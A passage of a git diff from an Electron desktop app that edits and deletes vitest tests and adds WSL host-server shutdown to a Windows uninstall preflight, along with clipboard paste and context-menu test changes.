- recordDurableCrashBreadcrumb: (name: string, data?: unknown) => { - events.push(name) - breadcrumbData.set(name, data) - } -})) -vi.mock('../agent-awake-service', () => ({ - AgentAwakeService: class { - setMode(): void {} - setStatuses(): void {} - } -})) -vi.mock('../system-resume-broadcast', () => ({ - registerSystemResumeBroadcast: () => () => {} -})) -vi.mock('../notifications/desktop-presence-reporter', () => ({ - listCapableSharedControlSockets: () => [], - startDesktopPresenceReporter: () => () => {} -})) -vi.mock('../agent-hooks/server', () => ({ - agentHookServer: { - subscribeStatusChanges: () => () => {}, - subscribeStatusFreshness: () => () => {}, - subscribeEnrichedStatus: () => () => {}, - subscribePaneStatusClear: () => () => {} - } -})) -vi.mock('../agent-hooks/hook-status-session-tabs-republish', () => ({ - installHookStatusSessionTabsRepublish: () => () => {} -})) -vi.mock('../telemetry/client', () => ({ - initTelemetry: () => {}, - track: () => {} -})) -vi.mock('../codex/codex-trust-grant-telemetry', () => ({ - setCodexTrustGrantTelemetry: () => {} -})) -vi.mock('../skills/skill-transaction-startup-recovery', () => ({ - recoverPendingSkillTransactions: () => new Promise(() => {}) -})) -vi.mock('../telemetry/cohort-classifier', () => ({ - initCohortClassifier: () => {} -})) -vi.mock('../telemetry/onboarding-cohort-classifier', () => ({ - initOnboardingCohortClassifier: () => {} -})) -vi.mock('../stats/collector', () => ({ StatsCollector: class {} })) -vi.mock('../stats/agent-session-transition-recorder', () => ({ - AgentSessionTransitionRecorder: class {} -})) -vi.mock('../claude-usage/store', () => ({ ClaudeUsageStore: class {} })) -vi.mock('../codex-usage/store', () => ({ CodexUsageStore: class {} })) -vi.mock('../opencode-usage/store', () => ({ OpenCodeUsageStore: class {} })) -vi.mock('../muse-usage/store', () => ({ MuseUsageStore: class {} })) -vi.mock('../repo-maintenance-idle-gate', () => ({ - installRepoMaintenanceIdleGate: () => () => {} -})) - -const { mainProcessState } = await import('./main-process-state') -const { initializeMainProcessObservers } = await import('./main-process-observers') - -describe('main thread hang breadcrumb', () => { - it('is recorded after the trace sink exists, so the trace keeps it', () => { - profilePath = mkdtempSync(join(tmpdir(), 'observer-hang-')) - const markerPath = hangDetectionMarkerPath(profilePath) - writeHangDetectionMarker(`${markerPath}.previous`, { - detectedAt: 1, - parentPid: 9536, - unresponsiveMs: 103_000, - selfRecovered: true - }) - Object.assign(mainProcessState, { - store: { getSettings: () => ({}) }, - hangDetection: { - detectedAt: 1, - parentPid: 9536, - unresponsiveMs: 103_000, - selfRecovered: true - } - }) - - try { - initializeMainProcessObservers() - - expect(events).toEqual([ - 'observability', - 'main_process_lifecycle_started', - 'main_thread_hang_detected' - ]) - expect(breadcrumbData.get('main_thread_hang_detected')).toEqual({ - unresponsiveMs: 103_000, - previousPid: 9536, - selfRecovered: true - }) - expect(existsSync(`${markerPath}.previous`)).toBe(false) - } finally { - setActiveSink(null) - rmSync(profilePath, { recursive: true, force: true }) - } - }) -}) diff --git a/src/main/startup/windows-app-data-path.test.ts b/src/main/startup/windows-app-data-path.test.ts index e302a7eda35..00cd57ae063 100644 --- a/src/main/startup/windows-app-data-path.test.ts +++ b/src/main/startup/windows-app-data-path.test.ts @@ -1,4 +1,4 @@ -import { existsSync, mkdtempSync, readFileSync } from 'node:fs' +import { existsSync, mkdtempSync } from 'node:fs' import { tmpdir } from 'node:os' import { join, win32 } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' @@ -68,20 +68,9 @@ describe('deriveWindowsAppDataPath', () => { 'C:\\Users\\me\\AppData\\Roaming' ) }) - - it('throws a readable error when neither variable is usable', () => { - expect(() => deriveWindowsAppDataPath({})).toThrow(ERROR_MESSAGE) - expect(() => deriveWindowsAppDataPath({ APPDATA: ' ', USERPROFILE: '' })).toThrow(ERROR_MESSAGE) - }) }) describe('ensureWindowsAppDataPath', () => { - it('does nothing off Windows', () => { - const host = createHost(new Error('unused')) - ensureWindowsAppDataPath(host, {}, 'darwin') - expect(host.calls).toEqual([]) - }) - it('keeps the native appData and pins userData to the path Electron would derive', () => { const host = createHost('C:\\Users\\me\\AppData\\Roaming') ensureWindowsAppDataPath(host, { APPDATA: 'D:\\ignored' }, 'win32') @@ -110,36 +99,9 @@ describe('ensureWindowsAppDataPath', () => { expect(existsSync(missingAppData)).toBe(true) }) - it('treats an empty native appData like a failed lookup', () => { - const host = createHost('') - expect(() => ensureWindowsAppDataPath(host, {}, 'win32')).toThrow(ERROR_MESSAGE) - expect(host.calls).toEqual(['get:appData']) - }) - it('fails with a readable error, setting nothing, when both variables are missing', () => { const host = createHost(new Error('Failed to get appData path')) expect(() => ensureWindowsAppDataPath(host, {}, 'win32')).toThrow(ERROR_MESSAGE) expect(host.paths.size).toBe(0) }) }) - -describe('startup ordering', () => { - it('pins Windows appData before any preflight step can resolve userData', () => { - const source = readFileSync( - join(process.cwd(), 'src/main/startup/main-process-preflight.ts'), - 'utf8' - ) - const body = source.slice(source.indexOf('function initializeMainProcessPreflight(')) - const ensure = body.indexOf('ensureWindowsAppDataPath(app)') - expect(ensure).toBeGreaterThan(0) - for (const laterStep of [ - 'runProfileStateRecoveryPreflight()', - 'maybeRedirectCliLaunch(', - 'configureDevUserDataPath(', - 'configureOrcaUserDataPathEnv()', - 'startCrashpadCapture()' - ]) { - expect(body.indexOf(laterStep)).toBeGreaterThan(ensure) - } - }) -}) diff --git a/src/main/startup/wsl-holder-uninstall-preflight.test.ts b/src/main/startup/wsl-holder-uninstall-preflight.test.ts index d5ea35eac66..ab60dac8878 100644 --- a/src/main/startup/wsl-holder-uninstall-preflight.test.ts +++ b/src/main/startup/wsl-holder-uninstall-preflight.test.ts @@ -1,133 +1,113 @@ -import { mkdtempSync, readFileSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' +import { readFileSync } from 'node:fs' import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import type { WslDistroHolder, WslDistroHolderAdoption } from '../wsl/wsl-distro-holder' +import { afterEach, describe, expect, it, vi } from 'vitest' -const electron = vi.hoisted(() => ({ - userDataPath: '/user-data', +const { exit, stopServers, releaseAll } = vi.hoisted(() => ({ exit: vi.fn(), - requestSingleInstanceLock: vi.fn(), - BrowserWindow: vi.fn(), - handle: vi.fn() + stopServers: vi.fn(async () => {}), + releaseAll: vi.fn(async (): Promise<{ distro: string; state: string }[]> => []) })) -const appData = vi.hoisted(() => ({ ensure: vi.fn() })) - vi.mock('electron', () => ({ - app: { - exit: electron.exit, - getPath: () => electron.userDataPath, - setPath: vi.fn(), - requestSingleInstanceLock: electron.requestSingleInstanceLock - }, - BrowserWindow: electron.BrowserWindow, - ipcMain: { handle: electron.handle } + app: { exit, getPath: () => 'C:\\Users\\u\\AppData\\Roaming\\orca' } +})) +vi.mock('./windows-app-data-path', () => ({ ensureWindowsAppDataPath: vi.fn() })) +vi.mock('../wsl/wsl-distro-holder', () => ({ createWslDistroHolder: () => ({ releaseAll }) })) +vi.mock('../wsl/wsl-host-uninstall-server-stop', () => ({ + stopWslHostServersForUninstall: stopServers, + wslHostUninstallStopDependencies: () => ({ distros: () => [], listRunning: async () => [] }) })) -vi.mock('./windows-app-data-path', () => ({ ensureWindowsAppDataPath: appData.ensure })) +import type { WslDistroHolder } from '../wsl/wsl-distro-holder' +import type { WslHostUninstallStopDependencies } from '../wsl/wsl-host-uninstall-server-stop' import { releaseWslHoldersForUninstall, runWslHolderUninstallPreflight, - WSL_HOLDER_UNINSTALL_FLAG + WSL_HOLDER_UNINSTALL_FLAG, + WSL_SERVER_UNINSTALL_FLAG } from './wsl-holder-uninstall-preflight' -function holder(release: () => Promise): WslDistroHolder { - return { - ensureHeld: vi.fn(), - adoptHolders: vi.fn(), - release: vi.fn(), - releaseAll: vi.fn(release), - holderState: vi.fn() - } +function holderReleasing(states: { distro: string; state: string }[]): WslDistroHolder { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the preflight only calls releaseAll. + return { releaseAll: vi.fn(async () => states) } as unknown as WslDistroHolder } -describe('WSL holder release on uninstall', () => { - it('succeeds only when every recorded holder is proven gone', async () => { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - const released = holder(async () => [{ distro: 'ubuntu', state: 'exited' }]) - await expect(releaseWslHoldersForUninstall(released)).resolves.toBe(0) - // Uninstall trusts a matching holder command line; nothing later could release it. - expect(released.releaseAll).toHaveBeenCalledWith({ forUninstall: true }) - await expect(releaseWslHoldersForUninstall(holder(async () => []))).resolves.toBe(0) - await expect( - releaseWslHoldersForUninstall( - holder(async () => [ - { distro: 'ubuntu', state: 'exited' }, - { distro: 'debian', state: 'unverifiable' } - ]) - ) - ).resolves.toBe(1) - await expect( - releaseWslHoldersForUninstall( - holder(async () => { - throw new Error('table unreadable') - }) - ) - ).resolves.toBe(1) +const SERVERS: WslHostUninstallStopDependencies = { + distros: () => ['Ubuntu'], + listRunning: async () => ['Ubuntu'], + stop: vi.fn() +} + +describe('releaseWslHoldersForUninstall', () => { + afterEach(() => { + stopServers.mockReset() + stopServers.mockImplementation(async () => {}) }) - it('runs from the uninstaller only, after the app and its daemon are gone', () => { - const hooks = readFileSync( - new URL('../../../config/nsis/orca-installer-hooks.nsh', import.meta.url), - 'utf8' - ) - const unInstall = hooks.slice(hooks.indexOf('!macro customUnInstall')) - const realUninstall = unInstall.slice( - unInstall.indexOf('${ifNot} ${isUpdated}'), - // The real-uninstall branch ends with the relocated daemon host's cleanup. - unInstall.indexOf('daemon-host-profiles') - ) - const release = realUninstall.indexOf( - `nsExec::Exec '"$INSTDIR\\\${APP_EXECUTABLE_FILENAME}" ${WSL_HOLDER_UNINSTALL_FLAG}'` - ) - expect(release).toBeGreaterThan(-1) - // Killed first, so no running Orca can respawn a holder behind the release. - expect(release).toBeGreaterThan(realUninstall.indexOf('orca-terminal-daemon.exe')) - expect(hooks.split(WSL_HOLDER_UNINSTALL_FLAG)).toHaveLength(2) - }) - - it('exits 0 with no holder records, and opens no window, lock or IPC', async () => { - electron.userDataPath = mkdtempSync(join(tmpdir(), 'orca-uninstall-no-holders-')) - electron.exit.mockClear() - try { - expect(runWslHolderUninstallPreflight(['Orca.exe', WSL_HOLDER_UNINSTALL_FLAG])).toBe(true) - await vi.waitFor(() => expect(electron.exit).toHaveBeenCalledWith(0)) - expect(electron.BrowserWindow).not.toHaveBeenCalled() - expect(electron.requestSingleInstanceLock).not.toHaveBeenCalled() - expect(electron.handle).not.toHaveBeenCalled() - } finally { - rmSync(electron.userDataPath, { recursive: true, force: true }) - } - }) - - it('exits 1 rather than leaving an error box when setup throws', () => { - vi.useFakeTimers() - electron.exit.mockClear() - appData.ensure.mockImplementationOnce(() => { - throw new Error('Orca could not find the Windows roaming AppData folder') + it('stops the running hosts’ servers after releasing the holders', async () => { + const order: string[] = [] + const holder = holderReleasing([]) + vi.mocked(holder.releaseAll).mockImplementation(async () => { + order.push('release-holders') + return [{ distro: 'Ubuntu', state: 'exited' }] }) - try { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - expect(runWslHolderUninstallPreflight(['Orca.exe', WSL_HOLDER_UNINSTALL_FLAG])).toBe(true) - expect(electron.exit).toHaveBeenCalledExactlyOnceWith(1) - // The timer armed before setup is cleared, so it can't exit a second time. - vi.runAllTimers() - expect(electron.exit).toHaveBeenCalledOnce() - } finally { - vi.useRealTimers() - } + stopServers.mockImplementation(async () => { + order.push('stop-servers') + }) + + await expect(releaseWslHoldersForUninstall(holder, SERVERS)).resolves.toBe(0) + expect(order).toEqual(['release-holders', 'stop-servers']) }) - it('launches from the uninstaller only for a userData that has holder records', () => { - const hooks = readFileSync( - new URL('../../../config/nsis/orca-installer-hooks.nsh', import.meta.url), + it('keeps the holder verdict as the exit code whatever the server stop does', async () => { + stopServers.mockRejectedValue(new Error('records unreadable')) + vi.spyOn(console, 'warn').mockImplementation(() => {}) + + await expect( + releaseWslHoldersForUninstall( + holderReleasing([{ distro: 'U', state: 'unverifiable' }]), + SERVERS + ) + ).resolves.toBe(1) + }) +}) + +describe('runWslHolderUninstallPreflight', () => { + afterEach(() => { + stopServers.mockClear() + exit.mockClear() + }) + + it('leaves the servers alone unless the uninstaller says this is the last install', async () => { + expect(runWslHolderUninstallPreflight(['Orca.exe', WSL_HOLDER_UNINSTALL_FLAG])).toBe(true) + await vi.waitFor(() => expect(exit).toHaveBeenCalledWith(0)) + + expect(stopServers).not.toHaveBeenCalled() + }) + + it('stops the servers when the uninstaller adds the server flag', async () => { + runWslHolderUninstallPreflight([ + 'Orca.exe', + WSL_HOLDER_UNINSTALL_FLAG, + WSL_SERVER_UNINSTALL_FLAG + ]) + await vi.waitFor(() => expect(exit).toHaveBeenCalledWith(0)) + + expect(stopServers).toHaveBeenCalledTimes(1) + }) + + it('is only passed by the NSIS hook when no other install shares this userData', () => { + const hook = readFileSync( + join(__dirname, '..', '..', '..', 'config', 'nsis', 'orca-installer-hooks.nsh'), 'utf8' ) - const launch = hooks.indexOf(`--orca-uninstall-release-wsl-holders'`) - const gate = hooks.lastIndexOf('${if} $1 == "1"', launch) - expect(gate).toBeGreaterThan(-1) - expect(hooks.slice(0, gate)).toMatch( - /\$\{FileExists\} "\$APPDATA\\\$\{APP_PACKAGE_NAME\}\\wsl-distro-holders\\\*\.json"/ + const lines = hook.split('\n') + const withFlag = lines.findIndex((line) => line.includes(WSL_SERVER_UNINSTALL_FLAG)) + + expect(withFlag).toBeGreaterThan(0) + expect(lines.filter((line) => line.includes(WSL_SERVER_UNINSTALL_FLAG))).toHaveLength(1) + expect(lines[withFlag - 1].trim()).toBe('${if} $2 == "none"') + expect(lines.slice(withFlag - 6, withFlag - 1).join('\n')).toContain( + '!insertmacro ORCA_OTHER_INSTALL_STATE $2' ) }) }) diff --git a/src/main/startup/wsl-holder-uninstall-preflight.ts b/src/main/startup/wsl-holder-uninstall-preflight.ts index a1148db9d36..150a64b3e0e 100644 --- a/src/main/startup/wsl-holder-uninstall-preflight.ts +++ b/src/main/startup/wsl-holder-uninstall-preflight.ts @@ -1,15 +1,27 @@ import { app } from 'electron' import { createWslDistroHolder, type WslDistroHolder } from '../wsl/wsl-distro-holder' import { ensureWindowsAppDataPath } from './windows-app-data-path' +import { + stopWslHostServersForUninstall, + wslHostUninstallStopDependencies, + type WslHostUninstallStopDependencies +} from '../wsl/wsl-host-uninstall-server-stop' /** The NSIS uninstaller's flag (config/nsis/orca-installer-hooks.nsh); keep the two in sync. */ export const WSL_HOLDER_UNINSTALL_FLAG = '--orca-uninstall-release-wsl-holders' +/** Added only by the last install for this user: its HKCU/HKLM twin shares these hosts' servers. */ +export const WSL_SERVER_UNINSTALL_FLAG = '--orca-uninstall-stop-wsl-servers' -// Uninstall must finish even if the process table never answers. -const UNINSTALL_RELEASE_TIMEOUT_MS = 30_000 +// Uninstall must finish even if the process table or a distro never answers. +const UNINSTALL_RELEASE_TIMEOUT_MS = 45_000 -/** Exit code 0 only when every recorded holder is proven gone; unverifiable ones are left running. */ -export async function releaseWslHoldersForUninstall(holder: WslDistroHolder): Promise { +/** Exit code 0 only when every recorded holder is proven gone; unverifiable ones are left running. + * Then each running host's server is stopped too, best effort, so its distro can stop. */ +export async function releaseWslHoldersForUninstall( + holder: WslDistroHolder, + servers?: WslHostUninstallStopDependencies +): Promise { + let code: number try { const released = await holder.releaseAll({ forUninstall: true }) for (const { distro, state } of released) { @@ -17,14 +29,21 @@ export async function releaseWslHoldersForUninstall(holder: WslDistroHolder): Pr console.warn(`[wsl] uninstall left the ${distro} holder ${state}`) } } - return released.every(({ state }) => state === 'exited') ? 0 : 1 + code = released.every(({ state }) => state === 'exited') ? 0 : 1 } catch (error) { console.warn('[wsl] uninstall could not release WSL distro holders:', error) - return 1 + code = 1 } + if (servers) { + // Never changes the exit code: a server left running costs memory, not a broken uninstall. + await stopWslHostServersForUninstall(servers).catch((error: unknown) => { + console.warn('[wsl] uninstall could not stop WSL host servers:', error) + }) + } + return code } -/** Uninstall only: ends the `wsl.exe` holders this profile recorded, so its distros idle-stop. */ +/** Uninstall only: ends the holders this profile recorded and its hosts' servers, so distros can stop. */ export function runWslHolderUninstallPreflight(argv: readonly string[] = process.argv): boolean { if (!argv.includes(WSL_HOLDER_UNINSTALL_FLAG)) { return false @@ -32,18 +51,22 @@ export function runWslHolderUninstallPreflight(argv: readonly string[] = process // Armed first: nothing below may leave the uninstaller waiting on an error box. const timeout = setTimeout(() => app.exit(1), UNINSTALL_RELEASE_TIMEOUT_MS) let holder: WslDistroHolder + let servers: WslHostUninstallStopDependencies | undefined try { process.env.ORCA_BACKGROUND_LAUNCH = '1' // The same userData the app records holders under; before any other preflight step. ensureWindowsAppDataPath(app) holder = createWslDistroHolder({ userDataPath: app.getPath('userData') }) + servers = argv.includes(WSL_SERVER_UNINSTALL_FLAG) + ? wslHostUninstallStopDependencies(app.getPath('userData')) + : undefined } catch (error) { console.warn('[wsl] uninstall could not start releasing WSL distro holders:', error) clearTimeout(timeout) app.exit(1) return true } - void releaseWslHoldersForUninstall(holder).then((code) => { + void releaseWslHoldersForUninstall(holder, servers).then((code) => { clearTimeout(timeout) app.exit(code) }) diff --git a/src/main/window/clipboard-runtime-owned-ssh-paste.test.ts b/src/main/window/clipboard-runtime-owned-ssh-paste.test.ts index 08afc1e2585..41766e80f5b 100644 --- a/src/main/window/clipboard-runtime-owned-ssh-paste.test.ts +++ b/src/main/window/clipboard-runtime-owned-ssh-paste.test.ts @@ -168,34 +168,10 @@ describe('clipboard image paste for a runtime-owned SSH workspace', () => { expect(fsWriteFileMock).not.toHaveBeenCalled() }) - it('keeps a runtime-host paste (no SSH target) addressed to the runtime itself', async () => { - mockRuntimeUpload() - - await expect( - saveImageHandler()(rendererEvent, { runtimeEnvironmentId: RUNTIME_ID }) - ).resolves.toBe('/tmp/on-runtime-target.png') - - expect(runtimeCall('clipboard.startImageUpload')?.[3]).toEqual({ - expectedBase64Length: PNG.toString('base64').length, - connectionId: null - }) - }) - it('reports the dropped-connection verdict for a client-dialed SSH target', async () => { await expect( saveImageHandler()(rendererEvent, { connectionId: CLIENT_SSH_TARGET }) ).rejects.toThrow(SSH_HOST_NOT_SERVED_MESSAGE) expect(callRuntimeEnvironmentMock).not.toHaveBeenCalled() }) - - it('keeps a plain local paste on the local temp dir', async () => { - fsWriteFileMock.mockResolvedValue(undefined) - - await expect(saveImageHandler()(rendererEvent, undefined)).resolves.toMatch( - /orca-paste-.*\.png$/ - ) - - expect(fsWriteFileMock).toHaveBeenCalledTimes(1) - expect(callRuntimeEnvironmentMock).not.toHaveBeenCalled() - }) }) diff --git a/src/main/window/createMainWindow-system-resume-relay.test.ts b/src/main/window/createMainWindow-system-resume-relay.test.ts deleted file mode 100644 index 42882041c24..00000000000 --- a/src/main/window/createMainWindow-system-resume-relay.test.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -vi.mock('electron', async () => - (await import('./createMainWindow-test-harness')).electronModuleMock() -) -vi.mock('./macos-tahoe-release', async () => - (await import('./createMainWindow-test-harness')).macosTahoeReleaseMock() -) -vi.mock('../app-icon', async () => (await import('./createMainWindow-test-harness')).appIconMock()) -vi.mock('../browser/browser-manager', async () => - (await import('./createMainWindow-test-harness')).browserManagerMock() -) - -import { createMainWindow } from './createMainWindow' -import { resetExpectedTeardownStateForTest } from '../crash-reporting/expected-teardown-state' -import { - browserWindowMock, - powerMonitorOnMock, - powerMonitorRemoveListenerMock, - resetMainWindowMocks -} from './createMainWindow-test-harness' - -describe('createMainWindow', () => { - beforeEach(() => { - resetMainWindowMocks() - resetExpectedTeardownStateForTest() - vi.useRealTimers() - }) - - describe('system resume relay', () => { - function setupResumeWindow() { - const windowHandlers: Record void> = {} - const webContents = { - on: vi.fn(), - setZoomLevel: vi.fn(), - setBackgroundThrottling: vi.fn(), - setWebRTCIPHandlingPolicy: vi.fn(), - invalidate: vi.fn(), - setWindowOpenHandler: vi.fn(), - send: vi.fn(), - isDestroyed: vi.fn(() => false), - id: 1 - } - const instance = { - webContents, - on: vi.fn((event: string, handler: (...args: any[]) => void) => { - windowHandlers[event] = handler - }), - isDestroyed: vi.fn(() => false), - // Why: maximized keeps forceRepaint from scheduling its size-nudge timer. - isMaximized: vi.fn(() => true), - isFullScreen: vi.fn(() => false), - getSize: vi.fn(() => [1200, 800]), - setSize: vi.fn(), - maximize: vi.fn(), - show: vi.fn(), - loadFile: vi.fn(() => Promise.resolve()), - loadURL: vi.fn(() => Promise.resolve()) - } - browserWindowMock.mockImplementation(function () { - return instance - }) - return { windowHandlers, webContents, instance } - } - - function getPowerResumeListener(): () => void { - const resumeCall = powerMonitorOnMock.mock.calls.find( - (call: unknown[]) => call[0] === 'resume' - ) - if (!resumeCall) { - throw new Error('missing powerMonitor resume listener') - } - return resumeCall[1] as () => void - } - - it('relays powerMonitor resume to the live window and forces a repaint', () => { - const { webContents } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).toHaveBeenCalledWith('system:resumed') - expect(webContents.invalidate).toHaveBeenCalledTimes(1) - }) - - it('does not send the resume event once the window is destroyed', () => { - const { webContents, instance } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - instance.isDestroyed.mockReturnValue(true) - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).not.toHaveBeenCalled() - expect(webContents.invalidate).not.toHaveBeenCalled() - }) - - it('does not send the resume event once webContents is destroyed', () => { - const { webContents } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - webContents.isDestroyed.mockReturnValue(true) - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).not.toHaveBeenCalled() - expect(webContents.invalidate).not.toHaveBeenCalled() - }) - - it('removes the powerMonitor resume listener when the window closes', () => { - const { windowHandlers } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - - windowHandlers.closed() - - expect(powerMonitorRemoveListenerMock).toHaveBeenCalledWith('resume', onResume) - }) - }) -}) diff --git a/src/main/window/editable-context-menu.test.ts b/src/main/window/editable-context-menu.test.ts deleted file mode 100644 index b057803d774..00000000000 --- a/src/main/window/editable-context-menu.test.ts +++ /dev/null @@ -1,300 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - buildEditableContextMenuTemplate, - matchingRichMarkdownContextMenuTableTarget, - parseRichMarkdownContextMenuTableTarget -} from './editable-context-menu' -import { richMarkdownContextMenuCommandChannel } from '../../shared/rich-markdown-context-menu' - -function contextParams( - overrides: Partial = {} -): Electron.ContextMenuParams { - return { - x: 0, - y: 0, - frame: null, - linkURL: '', - linkText: '', - pageURL: '', - frameURL: '', - srcURL: '', - mediaType: 'none', - hasImageContents: false, - isEditable: true, - selectionText: '', - titleText: '', - altText: '', - suggestedFilename: '', - selectionRect: { x: 0, y: 0, width: 0, height: 0 }, - selectionStartOffset: 0, - referrerPolicy: {} as Electron.Referrer, - misspelledWord: 'refrence', - dictionarySuggestions: ['reference', 'reverence'], - frameCharset: 'utf-8', - formControlType: 'none', - spellcheckEnabled: true, - menuSourceType: 'mouse', - mediaFlags: {} as Electron.MediaFlags, - editFlags: {} as Electron.EditFlags, - ...overrides - } -} - -describe('buildEditableContextMenuTemplate', () => { - it('builds spelling suggestion actions for editable markdown text', () => { - const replaceMisspelling = vi.fn() - const addWordToSpellCheckerDictionary = vi.fn() - const send = vi.fn() - const template = buildEditableContextMenuTemplate(contextParams(), { - replaceMisspelling, - send, - session: { addWordToSpellCheckerDictionary } as unknown as Electron.Session - }) - - expect(template.slice(0, 5).map((item) => item.label ?? item.type)).toEqual([ - 'reference', - 'reverence', - 'separator', - 'Add to dictionary', - 'separator' - ]) - - template[0].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - template[3].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - - expect(replaceMisspelling).toHaveBeenCalledWith('reference') - expect(addWordToSpellCheckerDictionary).toHaveBeenCalledWith('refrence') - }) - - it('builds a menu when Chromium reports suggestions even if spellcheckEnabled is false', () => { - const template = buildEditableContextMenuTemplate(contextParams({ spellcheckEnabled: false }), { - replaceMisspelling: vi.fn(), - send: vi.fn(), - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - }) - - expect(template.map((item) => item.label ?? item.type)).toContain('reference') - }) - - it('adds useful markdown and native edit actions for rich markdown text', () => { - const send = vi.fn() - const template = buildEditableContextMenuTemplate( - contextParams({ x: 12, y: 34, misspelledWord: '', dictionarySuggestions: [] }), - { - replaceMisspelling: vi.fn(), - send, - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - }, - { tableTarget: { cellType: 'body', targetId: 'table-target-1', x: 12, y: 34 } } - ) - - expect(template.map((item) => item.label ?? item.role ?? item.type)).toEqual([ - 'Add link', - 'separator', - 'Format', - 'Paragraph', - 'Insert', - 'Table', - 'separator', - 'cut', - 'copy', - 'Paste', - 'Paste as plain text', - 'selectAll' - ]) - - template[0].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - expect(send).toHaveBeenCalledWith(richMarkdownContextMenuCommandChannel, { - command: 'add-link', - x: 12, - y: 34 - }) - - const formatMenu = template[2].submenu as Electron.MenuItemConstructorOptions[] - formatMenu[0].click?.( - {} as Electron.MenuItem, - {} as Electron.BrowserWindow, - {} as KeyboardEvent - ) - expect(send).toHaveBeenLastCalledWith(richMarkdownContextMenuCommandChannel, { - command: 'bold', - x: 12, - y: 34 - }) - - const paragraphMenu = template[3].submenu as Electron.MenuItemConstructorOptions[] - expect(paragraphMenu.map((item) => item.label ?? item.type)).toEqual([ - 'Body text', - 'Heading 1', - 'Heading 2', - 'Heading 3', - 'Heading 4', - 'Heading 5', - 'separator', - 'Bullet list', - 'Numbered list', - 'Checklist' - ]) - paragraphMenu[5].click?.( - {} as Electron.MenuItem, - {} as Electron.BrowserWindow, - {} as KeyboardEvent - ) - expect(send).toHaveBeenLastCalledWith(richMarkdownContextMenuCommandChannel, { - command: 'heading-5', - x: 12, - y: 34 - }) - - const tableMenu = template[5].submenu as Electron.MenuItemConstructorOptions[] - expect(tableMenu.map((item) => item.label ?? item.type)).toEqual([ - 'Insert row above', - 'Insert row below', - 'Delete row', - 'separator', - 'Insert column left', - 'Insert column right', - 'Delete column', - 'separator', - 'Delete table' - ]) - tableMenu[0].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - expect(send).toHaveBeenLastCalledWith(richMarkdownContextMenuCommandChannel, { - command: 'insert-row-above', - tableTargetId: 'table-target-1', - x: 12, - y: 34 - }) - - template[9].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - template[10].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: false }) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: true }) - }) - - it('omits table actions when the context target is outside a table', () => { - const template = buildEditableContextMenuTemplate( - contextParams({ misspelledWord: '', dictionarySuggestions: [] }), - { - replaceMisspelling: vi.fn(), - send: vi.fn(), - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - } - ) - - expect(template.map((item) => item.label ?? item.role ?? item.type)).not.toContain('Table') - }) - - it('disables native row actions that cannot cross the Markdown header boundary', () => { - const template = buildEditableContextMenuTemplate( - contextParams({ x: 12, y: 34, misspelledWord: '', dictionarySuggestions: [] }), - { - replaceMisspelling: vi.fn(), - send: vi.fn(), - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - }, - { tableTarget: { cellType: 'header', targetId: 'header-target', x: 12, y: 34 } } - ) - const tableMenu = template[5].submenu as Electron.MenuItemConstructorOptions[] - - expect(tableMenu[0]).toMatchObject({ label: 'Insert row above', enabled: false }) - expect(tableMenu[1]).toMatchObject({ label: 'Insert row below' }) - expect(tableMenu[2]).toMatchObject({ label: 'Delete row', enabled: false }) - }) - - it('does not build a menu outside editable text', () => { - const webContents = { - replaceMisspelling: vi.fn(), - send: vi.fn(), - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - } - - expect( - buildEditableContextMenuTemplate(contextParams({ isEditable: false }), webContents) - ).toEqual([]) - }) - - it('keeps coordinated paste available for regular editable text without spelling actions', () => { - const send = vi.fn() - const template = buildEditableContextMenuTemplate( - contextParams({ - formControlType: 'input-text', - misspelledWord: '', - dictionarySuggestions: [] - }), - { - replaceMisspelling: vi.fn(), - send, - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - } - ) - - expect(template.map((item) => item.label ?? item.role ?? item.type)).toEqual([ - 'cut', - 'copy', - 'Paste', - 'Paste as plain text', - 'selectAll' - ]) - - template[2].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - template[3].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: false }) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: true }) - }) - - it('keeps regular text inputs to spelling and native edit actions', () => { - const send = vi.fn() - const template = buildEditableContextMenuTemplate( - contextParams({ formControlType: 'input-text' }), - { - replaceMisspelling: vi.fn(), - send, - session: { addWordToSpellCheckerDictionary: vi.fn() } as unknown as Electron.Session - } - ) - - expect(template.map((item) => item.label ?? item.role ?? item.type)).toEqual([ - 'reference', - 'reverence', - 'separator', - 'Add to dictionary', - 'separator', - 'cut', - 'copy', - 